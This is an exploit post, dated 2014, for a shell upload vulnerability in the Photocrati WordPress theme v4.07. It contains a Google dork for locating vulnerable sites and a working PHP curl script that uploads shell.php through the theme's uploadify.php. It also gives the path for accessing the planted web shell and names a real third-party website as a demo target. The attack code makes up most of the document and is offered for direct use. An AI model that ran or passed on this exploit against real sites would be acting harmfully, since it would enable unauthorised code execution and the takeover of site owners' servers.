facebook facebook twitter rss

Wordpress Theme Photocrati-theme-v4.07 Shell Upload Vulnerability

Author: Aloulou , Published: 13-05-2014
############################################################################

# Title : Wordpress Theme Photocrati-theme-v4.07 Shell Upload Vulnerability

# Author : Aloulou

# Date : 13/05/2014

# Facebook : http://www.facebook.com/Aloulou.TN

# Email: aloulou@alquds.com

# Vendor : www.photocrati.com

# Google Dork inurl:/wp-content/themes/photocrati-theme-v4.07/

# Tested on : Linux


############################################################################



Exploit:

<?php
 
$uploadfile
="shell.php";
$ch curl_init("http://127.0.0.1/wp-content/themes/photocrati-theme-v4.07/admin/scripts/uploadify.php");
curl_setopt($chCURLOPT_POSTtrue);
curl_setopt($chCURLOPT_POSTFIELDS,
              array(
'Filedata'=>"@$uploadfile",'folder'=>'/admin/scripts/'));
curl_setopt($chCURLOPT_RETURNTRANSFER1);
$postResult curl_exec($ch);
curl_close($ch);
 
  print 
"$postResult";
?>


ShellAccess:

http://127.0.0.1/wp-content/themes/photocrati-theme-v4.07/admin/scripts/shell.php

Demo:http://www.tanguygilson.com

# Greeting to : Tunisia , CyberPink , Brikovich , Anonboy


############################################################################

Like us on Facebook :